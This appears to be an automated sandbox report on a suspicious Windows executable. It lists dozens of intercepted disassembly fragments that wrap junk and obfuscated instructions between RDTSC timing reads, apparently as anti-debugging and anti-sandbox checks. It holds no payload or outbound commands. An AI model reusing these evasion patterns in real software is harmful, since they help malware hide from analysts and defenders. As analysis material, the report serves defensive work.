Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9FCAD second address: B9FD02 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F8C4B198h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jo 00007F62F8C4B1BDh 0x00000013 call 00007F62F8C4B1A1h 0x00000018 jmp 00007F62F8C4B1A5h 0x0000001d pop edi 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D3589h], ecx 0x00000026 push 00000000h 0x00000028 and esi, dword ptr [ebp+122D2AF2h] 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 jl 00007F62F8C4B198h 0x00000037 push edi 0x00000038 pop edi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA3333 second address: BA3341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA3341 second address: BA334B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA334B second address: BA33D3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F62F943B87Ch 0x00000008 jnp 00007F62F943B876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F62F943B878h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F62F943B878h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 xor si, 5F54h 0x0000004c push 00000000h 0x0000004e push 00000000h 0x00000050 push ecx 0x00000051 call 00007F62F943B878h 0x00000056 pop ecx 0x00000057 mov dword ptr [esp+04h], ecx 0x0000005b add dword ptr [esp+04h], 00000014h 0x00000063 inc ecx 0x00000064 push ecx 0x00000065 ret 0x00000066 pop ecx 0x00000067 ret 0x00000068 or dword ptr [ebp+122D3499h], esi 0x0000006e xchg eax, ebx 0x0000006f pushad 0x00000070 jne 00007F62F943B87Ch 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA33D3 second address: BA33D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA76C6 second address: BA76DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA76DD second address: BA7704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F62F8C4B196h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F62F8C4B1A5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B565E6 second address: B5660D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62F943B882h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA784C second address: BA7850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B5660D second address: B56617 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA7850 second address: BA7866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B56617 second address: B56622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA7866 second address: BA786B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA9D67 second address: BA9D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA9D6B second address: BA9DC4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a clc 0x0000000b push ecx 0x0000000c sub dword ptr [ebp+122D2DAFh], esi 0x00000012 pop edi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F62F8C4B198h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 xor dword ptr [ebp+12456AA8h], eax 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F62F8C4B1A5h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BADE06 second address: BADE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BAEE98 second address: BAEE9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BAFF60 second address: BAFFAD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007F62F943B876h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xor ebx, 7E3D638Bh 0x00000015 push 00000000h 0x00000017 mov ebx, dword ptr [ebp+122D2ABEh] 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F62F943B878h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 or dword ptr [ebp+122D3686h], edi 0x0000003f push eax 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BAFFAD second address: BAFFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BAEFF8 second address: BAF017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d jmp 00007F62F943B87Dh 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BAFFB1 second address: BAFFB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB1022 second address: BB10B5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F62F943B882h 0x0000000d jno 00007F62F943B87Ch 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F62F943B878h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push 00000000h 0x00000030 call 00007F62F943B889h 0x00000035 mov dword ptr [ebp+122D3686h], edx 0x0000003b pop edi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ecx 0x00000041 call 00007F62F943B878h 0x00000046 pop ecx 0x00000047 mov dword ptr [esp+04h], ecx 0x0000004b add dword ptr [esp+04h], 0000001Dh 0x00000053 inc ecx 0x00000054 push ecx 0x00000055 ret 0x00000056 pop ecx 0x00000057 ret 0x00000058 mov bh, 70h 0x0000005a mov dword ptr [ebp+122D1C33h], eax 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push edi 0x00000064 push ebx 0x00000065 pop ebx 0x00000066 pop edi 0x00000067 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB207B second address: BB207F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB435D second address: BB43CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a jnc 00007F62F943B88Bh 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F62F943B878h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov bx, 5DA0h 0x00000032 mov ebx, dword ptr [ebp+122D2F94h] 0x00000038 push 00000000h 0x0000003a je 00007F62F943B886h 0x00000040 call 00007F62F943B87Ch 0x00000045 movzx ebx, di 0x00000048 pop ebx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB43CC second address: BB43D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB35D3 second address: BB35D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB43D0 second address: BB43D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB11E3 second address: BB11E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB35D7 second address: BB35F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB43D4 second address: BB43DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB35F6 second address: BB35FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB43DA second address: BB43DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB549C second address: BB54A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB54A0 second address: BB54A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB54A4 second address: BB54B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB54B0 second address: BB54B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB54B4 second address: BB54F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 jmp 00007F62F8C4B1A6h 0x0000000d push 00000000h 0x0000000f adc ebx, 47FA0521h 0x00000015 js 00007F62F8C4B19Ah 0x0000001b mov bx, 6828h 0x0000001f push 00000000h 0x00000021 mov bx, 39F5h 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 js 00007F62F8C4B198h 0x0000002e push eax 0x0000002f pop eax 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB54F5 second address: BB5511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F62F943B87Bh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F62F943B878h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB65E7 second address: BB65F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB65F4 second address: BB65FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB75B5 second address: BB75BF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB75BF second address: BB75C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F62F943B876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB85F0 second address: BB85F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BB85F4 second address: BB85FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BBAF36 second address: BBAF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F62F8C4B19Ch 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62F8C4B1A6h 0x00000014 jmp 00007F62F8C4B19Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC1D95 second address: BC1D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC1568 second address: BC1584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC1584 second address: BC1588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC17DD second address: BC17E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC17E3 second address: BC17E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC17E7 second address: BC181B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Fh 0x00000007 jmp 00007F62F8C4B19Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007F62F8C4B196h 0x00000015 jp 00007F62F8C4B196h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC5946 second address: BC594C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC594C second address: BC5965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC5A33 second address: BC5A6E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jmp 00007F62F943B87Eh 0x00000010 jmp 00007F62F943B882h 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a pushad 0x0000001b pushad 0x0000001c push eax 0x0000001d pop eax 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push edx 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC5B49 second address: BC5B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC5B4E second address: BC5B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC5B54 second address: BC5B75 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F62F8C4B1A2h 0x00000015 jmp 00007F62F8C4B19Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC5B75 second address: BC5B86 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC5B86 second address: BC5BAF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F62F8C4B1A2h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F62F8C4B19Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC5BAF second address: BC5BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC5BB3 second address: BC5BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F62F8C4B196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B57F48 second address: B57F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B57F4C second address: B57F55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BC8C8E second address: BC8CBF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F62F943B887h 0x00000010 push edx 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 jg 00007F62F943B876h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCD651 second address: BCD655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCD655 second address: BCD66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F62F943B87Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCD66C second address: BCD67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F62F8C4B196h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCDCBC second address: BCDCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F62F943B876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCDF7F second address: BCDFA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F62F8C4B1A8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F62F8C4B196h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCDFA7 second address: BCDFB1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCDFB1 second address: BCDFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCDFB5 second address: BCDFBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCE23B second address: BCE256 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F62F8C4B19Ah 0x00000010 pop edi 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCE3B1 second address: BCE3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B87Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCE3C2 second address: BCE3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F62F8C4B19Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BCE542 second address: BCE557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 ja 00007F62F943B876h 0x0000000c popad 0x0000000d jne 00007F62F943B87Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BD73E9 second address: BD73EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BD73EE second address: BD73F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BD61E2 second address: BD61E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
